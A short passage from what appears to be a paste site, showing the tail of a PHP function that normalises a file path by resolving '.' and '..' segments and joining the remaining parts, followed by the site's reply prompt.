  1860.                         $els = count($partPath)-1;
  1861.                         for ($i = $els; $i>=0; $i--){
  1862.                                 if ($partPath[$i] == '.'){
  1863.                     //  Ignore this directory
  1864.                 } elseif ($partPath[$i] == '..'){
  1865.                     $i--;
  1866.                 }
  1867.                                 elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
  1868.                 }       else
  1869.                                         $result = $partPath[$i].($i!=$els ? '/'.$result : '');
  1870.                         }
  1871.                 } else $result = '';
  1872.                
  1873.                 return $result;
  1874.         }
  1875. }
  1876. ?>

Reply to "admin"

Here you can reply to the paste above